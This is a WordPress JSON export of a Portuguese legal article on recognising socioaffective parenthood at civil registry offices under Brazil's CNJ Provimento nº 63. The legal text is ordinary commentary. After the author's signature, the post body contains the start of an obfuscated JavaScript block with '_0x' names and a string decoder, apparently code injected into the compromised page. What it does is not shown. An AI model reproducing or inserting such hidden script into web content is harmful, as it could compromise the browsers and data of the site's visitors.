{"id":1341,"date":"2018-01-17T12:30:28","date_gmt":"2018-01-17T14:30:28","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-filiacao-socioafetiva-e-reconhecimento-pela-via-extrajudicial-por-ulisses-simoes\/"},"modified":"2018-01-17T12:30:28","modified_gmt":"2018-01-17T14:30:28","slug":"artigo-filiacao-socioafetiva-e-reconhecimento-pela-via-extrajudicial-por-ulisses-simoes","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-filiacao-socioafetiva-e-reconhecimento-pela-via-extrajudicial-por-ulisses-simoes\/","title":{"rendered":"Artigo &#8211; Filia\u00e7\u00e3o socioafetiva e reconhecimento pela via extrajudicial \u2013 por Ulisses Sim\u00f5es"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Paternidade ou maternidade socioafetiva, em apertada s&iacute;ntese, constitui-se em decorr&ecirc;ncia da rela&ccedil;&atilde;o de afeto estabelecida entre pessoas que convivem e exercem os direitos e deveres inerentes &agrave; posi&ccedil;&atilde;o paterna ou materna e &agrave; posi&ccedil;&atilde;o de filho, mesmo sem manterem la&ccedil;o consangu&iacute;neo entre si.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Como leciona MARIA BERENICE DIAS, &ldquo;o afeto n&atilde;o &eacute; fruto da biologia. Os la&ccedil;os de afeto e solidariedade derivam da conviv&ecirc;ncia familiar, n&atilde;o do sangue. Assim, a posse de estado de filhonada mais &eacute; do que o reconhecimento jur&iacute;dico do afeto, com o claro objetivo de garantir a felicidade, como um direito a ser alcan&ccedil;ado&rdquo; (Manual de Direito das Fam&iacute;lias, 3&ordf; edi&ccedil;&atilde;o, S&atilde;o Paulo: RT, 2016, p. 59\/60).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Na concep&ccedil;&atilde;o atual do Direito das Fam&iacute;lias, o afeto foi al&ccedil;ado &agrave; condi&ccedil;&atilde;o de princ&iacute;pio jur&iacute;dico a ser tutelado pelo Estado. Neste contexto, &ldquo;o princ&iacute;pio da afetividade, que &eacute; correlato ao princ&iacute;pio da solidariedade, deve reger as rela&ccedil;&otilde;es humanas e permear a aplica&ccedil;&atilde;o das normas jur&iacute;dicas de um modo geral. Nessas condi&ccedil;&otilde;es, o princ&iacute;pio da afetividade, conquanto n&atilde;o se ache inscrito expressamente na Constitui&ccedil;&atilde;o, desponta como um novo valor a ser preservado pela ordem constitucional, como forma de realiza&ccedil;&atilde;o do pr&oacute;prio Estado&rdquo; (SANTOS, Romualdo Baptista dos. A Tutela Jur&iacute;dica da Afetividade, Curitiba: Juru&aacute;, p. 135).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O artigo 1.593 do C&oacute;digo Civil, em conson&acirc;ncia com o texto constitucional, estabelece que &ldquo;o parentesco &eacute; natural ou civil, conforme resulte de consanguinidade ou outra origem&rdquo;, compreendendo-se aqui o parentesco oriundo de reprodu&ccedil;&atilde;o assistida ou de v&iacute;nculo socioafetivo sem liame biol&oacute;gico ou de ado&ccedil;&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O v&iacute;nculo de paternidade ou maternidade socioafetiva pode se consolidar nos mais diversos n&uacute;cleos familiares que comp&otilde;em a sociedade, posto que, nos exatos termos do artigo 226 da Carta Magna, a fam&iacute;lia &eacute; a base da sociedade e receber&aacute; prote&ccedil;&atilde;o especial do Estado, sendo, assim, descabida qualquer discrimina&ccedil;&atilde;o entre elas. Mais comumente, a socioafetividade surge nas fam&iacute;lias compostas por pais divorciados, separados e\/ou pais solteiros com filhos que passam a conviver com um novo parceiro. Com a conviv&ecirc;ncia familiar di&aacute;ria, os filhos pr&eacute;-concebidos e os novos parceiros podem estabelecer gradativamente uma rela&ccedil;&atilde;o de respeito e afeto, que poder&aacute; culminar na consolida&ccedil;&atilde;o de uma nova rela&ccedil;&atilde;o de paternidade ou maternidade, oriunda da posse do estado de filia&ccedil;&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; E, com isso, n&atilde;o necessariamente se extingue a rela&ccedil;&atilde;o parental consangu&iacute;nea, pr&eacute;via &agrave; rela&ccedil;&atilde;o socioafetiva. Pelo contr&aacute;rio, a rela&ccedil;&atilde;o consangu&iacute;nea e a afetiva podem coexistir, sem comprometer a esfera de direitos e deveres dos pais biol&oacute;gicos e, mais importante, materializando a prote&ccedil;&atilde;o integral ao interesse do menor, conforme o texto constitucional e o Estatuto da Crian&ccedil;a e do Adolescente.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A rela&ccedil;&atilde;o de filia&ccedil;&atilde;o socioafetiva estabelece v&iacute;nculo com direitos e deveres id&ecirc;nticos &agrave;queles verificados na paternidade consangu&iacute;nea. Com isso, o pai ou a m&atilde;e socioafetivos ficam sujeitos a exercer o poder familiar com o devido zelo e os filhos, por sua vez, t&ecirc;m tutelados os seus direitos &agrave; educa&ccedil;&atilde;o, cria&ccedil;&atilde;o e subsist&ecirc;ncia, bem como seus futuros direitos sucess&oacute;rios.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Por muito tempo houve resist&ecirc;ncia em se reconhecer este tipo de v&iacute;nculo de filia&ccedil;&atilde;o, ante a aus&ecirc;ncia de previs&atilde;o legal expressa, o que, todavia, foi superado pela doutrina e jurisprud&ecirc;ncia, que, nos &uacute;ltimos anos, passaram a admitir amplamente a paternidade socioafetiva.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Exemplo disso foi o julgamento paradigma do Supremo Tribunal Federal no Recurso Extraordin&aacute;rio n&ordm; 898.060\/SC, no qual foi fixada a tese de que: &ldquo;A paternidade socioafetiva, declarada ou n&atilde;o em registro p&uacute;blico, n&atilde;o impede o reconhecimento do v&iacute;nculo de filia&ccedil;&atilde;o concomitante baseado na origem biol&oacute;gica, com todas as suas consequ&ecirc;ncias patrimoniais e extrapatrimoniais&rdquo;.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Ocorre que, ainda que volunt&aacute;rio o reconhecimento da paternidade ou maternidade socioafetiva, o pai ou m&atilde;e interessados em obter a chancela legal precisavam ingressar com uma a&ccedil;&atilde;o judicial para este fim, na qual cabia a eles comprovar o liame familiar estabelecido com o filho a ser reconhecido, sob pena de indeferimento da pretens&atilde;o. Isso, no entanto, acabava por criar entraves desnecess&aacute;rios ao reconhecimento do v&iacute;nculo, desestimulando muitas pessoas a buscarem tal tutela estatal, em detrimento dos interesses do menor.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Em paralelo, admitia-se o reconhecimento da paternidade biol&oacute;gica pela via extrajudicial mediante simples declara&ccedil;&atilde;o, presumindo-se a boa-f&eacute; do declarante, o que acabava por estabelecer distin&ccedil;&atilde;o indevida entre a paternidade biol&oacute;gica e a afetiva, em arrepio ao artigo 227 da Constitui&ccedil;&atilde;o, segundo o qual &ldquo;Os filhos, havidos ou n&atilde;o da rela&ccedil;&atilde;o do casamento, ou por ado&ccedil;&atilde;o, ter&atilde;o os mesmos direitos e qualifica&ccedil;&otilde;es, proibidas quaisquer designa&ccedil;&otilde;es discriminat&oacute;rias relativas &agrave; filia&ccedil;&atilde;o&rdquo;.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Por conta disso, algumas Corregedorias-Gerais de Justi&ccedil;a no pa&iacute;s passaram a admitir o reconhecimento espont&acirc;neo do v&iacute;nculo de paternidade ou maternidade socioafetiva em cart&oacute;rio, mediante a edi&ccedil;&atilde;o de provimentos espec&iacute;ficos a respeito do tema. Em outros Estados, por&eacute;m, tal possibilidade n&atilde;o era regulamentada, carecendo, assim, a quest&atilde;o de normatiza&ccedil;&atilde;o e uniformiza&ccedil;&atilde;o em &acirc;mbito nacional.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Em S&atilde;o Paulo, por exemplo, n&atilde;o havia provimento regulando a quest&atilde;o e, por isso, muitos pedidos extrajudiciais de reconhecimento de paternidade ou maternidade foram levados &agrave; aprecia&ccedil;&atilde;o do Judici&aacute;rio, tendo o Tribunal de Justi&ccedil;a, em mais de uma oportunidade, se manifestado pela possibilidade do reconhecimento do v&iacute;nculo socioafetivo em cart&oacute;rio.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A fim de dirimir a quest&atilde;o, em 14 de novembro de 2017, o Conselho Nacional de Justi&ccedil;a (CNJ) editou o Provimento n&ordm; 63, instituindo modelos &uacute;nicos de certid&otilde;es de nascimento, casamento e &oacute;bito a serem utilizados em territ&oacute;rio nacional, tratando do registro dos filhos concebidos por reprodu&ccedil;&atilde;o assistida e dispondo sobre a possibilidade de reconhecimento volunt&aacute;rio da paternidade ou maternidade socioafetiva em cart&oacute;rio.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; No tocante a este &uacute;ltimo item, objeto da presente an&aacute;lise, o Provimento n&ordm; 63 assevera que a rela&ccedil;&atilde;o de parentesco pode ter outra origem que n&atilde;o a consangu&iacute;nea e que o nosso ordenamento jur&iacute;dico confere prote&ccedil;&atilde;o integral aos filhos, vedando qualquer tipo de discrimina&ccedil;&atilde;o concernente &agrave; filia&ccedil;&atilde;o e sua origem.<\/p>\n<p>&nbsp; &nbsp;&nbsp; Assim, uma vez poss&iacute;vel o reconhecimento volunt&aacute;rio da paternidade ou maternidade biol&oacute;gica perante o oficial de registro civil, &eacute; consequ&ecirc;ncia l&oacute;gica dos princ&iacute;pios constitucionais da igualdade jur&iacute;dica e da filia&ccedil;&atilde;o que se admita tamb&eacute;m o reconhecimento extrajudicial do v&iacute;nculo de paternidade socioafetiva.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O Provimento faz alus&atilde;o ainda &agrave; ampla aceita&ccedil;&atilde;o da filia&ccedil;&atilde;o socioafetiva, fundada nos princ&iacute;pios da afetividade e dignidade da pessoa humana, ao julgamento paradigma do STF acima citado (RE n&ordm; 898.060\/SC) e &agrave; conveni&ecirc;ncia de uniformizar em territ&oacute;rio nacional regras b&aacute;sicas para o registro da paternidade ou maternidade socioafetiva, inclusive no que tange aos aspectos sucess&oacute;rios e patrimoniais, a fim de conferir seguran&ccedil;a jur&iacute;dica aos envolvidos, principalmente para os filhos menores.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Em seu artigo 10, o Provimento n&ordm; 63 estabeleceu que o reconhecimento volunt&aacute;rio da paternidade ou maternidade socioafetiva de pessoa de qualquer idade poder&aacute; ser feito diretamente perante um oficial de registro civil, mediante requerimento administrativo que independente de chancela judicial.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Este reconhecimento &eacute; irrevog&aacute;vel (artigo 1.610 do C&oacute;digo Civil) e poder&aacute; ser desconstitu&iacute;do somente nas hip&oacute;teses excepcionais de v&iacute;cio de vontade, fraude ou simula&ccedil;&atilde;o, o que, na pr&aacute;tica, dificilmente ocorrer&aacute;, uma vez que a rela&ccedil;&atilde;o socioafetiva est&aacute; fundada no afeto (situa&ccedil;&atilde;o de fato) estabelecido com o filho a ser reconhecido como tal, em rela&ccedil;&atilde;o ao qual dificilmente haver&aacute; v&iacute;cio de consentimento por parte do interessado.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O Provimento veda qualquer restri&ccedil;&atilde;o em rela&ccedil;&atilde;o ao estado civil do interessado, exigindo apenas que (i) o interessado tenha a idade m&iacute;nima de 18 (dezoito) anos, (ii) haja diferen&ccedil;a de, no m&iacute;nimo, 16 (dezesseis) anos entre o interessado e o filho a ser reconhecido, e (iii) n&atilde;o haja v&iacute;nculo de parentesco biol&oacute;gico na linha ascendente ou de irm&atilde;os entre o interessado e o filho a ser reconhecido, regras essas que coincidem com as do Estatuto da Crian&ccedil;a e do Adolescente relativas &agrave; ado&ccedil;&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Embora n&atilde;o esteja expresso no texto normativo, n&atilde;o &eacute; demais frisar que os cart&oacute;rios de registro civil n&atilde;o poder&atilde;o impor restri&ccedil;&otilde;es ao reconhecimento de paternidade ou maternidade socioafetiva requerido por pessoas integrantes de uni&otilde;es homoafetivos ou estruturas familiares diversas, como as fam&iacute;lias anaparentais e as poliafetivas.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; No artigo 11 do Provimento, consta ainda que o pedido de reconhecimento do v&iacute;nculo afetivo poder&aacute; ser processado perante qualquer cart&oacute;rio de registro civil do pa&iacute;s, e n&atilde;o necessariamente perante o of&iacute;cio onde se encontra registrado o assento de nascimento do filho a ser reconhecido, o que igualmente denota o esfor&ccedil;o em facilitar o acesso e a tramita&ccedil;&atilde;o do pedido.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O pedido dever&aacute; ser instru&iacute;do com os documentos de identifica&ccedil;&atilde;o das partes e, sendo o filho menor, dever&aacute; contar com a anu&ecirc;ncia de seus pais registrais. Na falta ou impossibilidade de manifesta&ccedil;&atilde;o v&aacute;lida deles, o caso dever&aacute; ser levado ao juiz competente, nos termos da legisla&ccedil;&atilde;o vigente.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Outra importante regra &eacute; que, se o filho for maior de 12 (doze) anos, o reconhecimento do v&iacute;nculo depender&aacute; do seu consentimento, o que, todavia, poder&aacute; ser suprido judicialmente, caso demonstrada a exist&ecirc;ncia da rela&ccedil;&atilde;o socioafetiva e que seu reconhecimento atende ao melhor interesse do menor.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Quando o procedimento de paternidade ou maternidade envolver pessoa com defici&ecirc;ncia (como requerente ou como filho a ser reconhecido), o Provimento determina sejam observadas as regras da tomada de decis&atilde;o apoiada institu&iacute;das pelo Estatuto da Pessoa com Defici&ecirc;ncia, que conferiu a reda&ccedil;&atilde;o atual do artigo 1.783-A do C&oacute;digo Civil.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Admite-se, ainda, a possibilidade de reconhecimento do v&iacute;nculo socioafetivo por meio de testamento, observando-se os demais tr&acirc;mites previstos no Provimento n&ordm; 63.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O oficial registrador poder&aacute;, no entanto, recusar o pedido e encaminh&aacute;-lo ao juiz competente, quando suspeitar que h&aacute; ilegalidade ou d&uacute;vida acerca da rela&ccedil;&atilde;o socioafetiva em quest&atilde;o. Deve-se aqui ponderar que o oficial somente poder&aacute; recorrer a tal expediente quando tiver fundada suspeita de ilicitude, justificando-a dentro dos limites de sua compet&ecirc;ncia, uma vez que a boa-f&eacute; do requerente &eacute; presumida e, assim como ocorre no reconhecimento volunt&aacute;rio de paternidade biol&oacute;gica, n&atilde;o se exige para o reconhecimento volunt&aacute;rio da paternidade ou maternidade socioafetiva a demonstra&ccedil;&atilde;o cabal do v&iacute;nculo.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Ademais, havendo a&ccedil;&atilde;o judicial versando sobre o reconhecimento da filia&ccedil;&atilde;o socioafetiva ou ado&ccedil;&atilde;o do filho a ser reconhecido, n&atilde;o se pode recorrer &agrave; via extrajudicial. Neste sentido, deve o requerente declarar, quando do pedido de reconhecimento do v&iacute;nculo, que desconhece a exist&ecirc;ncia de disputa judicial acerca da filia&ccedil;&atilde;o do filho a ser reconhecido, sob pena de incorrer em il&iacute;cito civil e penal.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Outrossim, o Provimento aduz em seu artigo 14 que o reconhecimento do v&iacute;nculo &ldquo;somente poder&aacute; ser realizado de forma unilateral e n&atilde;o implicar&aacute; o registro de mais de dois pais e de duas m&atilde;es no campo FILIA&Ccedil;&Atilde;O no assento de nascimento&rdquo; (g.n.). Este dispositivo tem gerado interpreta&ccedil;&otilde;es conflitantes na doutrina, entendendo, todavia, este artigo que a reda&ccedil;&atilde;o em comento autoriza a inclus&atilde;o de at&eacute; dois pais e at&eacute; duas m&atilde;es no assento de nascimento do filho, justamente porque podem coexistir a paternidade biol&oacute;gica e a socioafetiva, como j&aacute; decidido pelo STF no supramencionado RE 898.060.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Por fim, o Provimento estabelece que o reconhecimento espont&acirc;neo do v&iacute;nculo afetivo n&atilde;o impede a discuss&atilde;o judicial sobre a verdade biol&oacute;gica, posto se tratar de direito fundamental dos filhos buscar e ter acesso &agrave; sua identidade e v&iacute;nculo consangu&iacute;neo com o pai ou m&atilde;e biol&oacute;gicos, a qualquer tempo.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Trata-se, portanto, de importante invoca&ccedil;&atilde;o legislativa que, em conson&acirc;ncia com o atual est&aacute;gio evolutivo do Direito das Fam&iacute;lias, confere maior autonomia &agrave; esfera privada das pessoas, desburocratizando procedimentos, tutelando o interesse primordial dos menores ao reconhecimento da filia&ccedil;&atilde;o socioafetiva e reafirmando o afeto como um princ&iacute;pio jur&iacute;dico constitucional a ser tutelado pelo ordenamento jur&iacute;dico.<br \/>\nUlisses Sim&otilde;es &ndash; advogado do L.O. Baptista Advogados<br \/>\n&nbsp;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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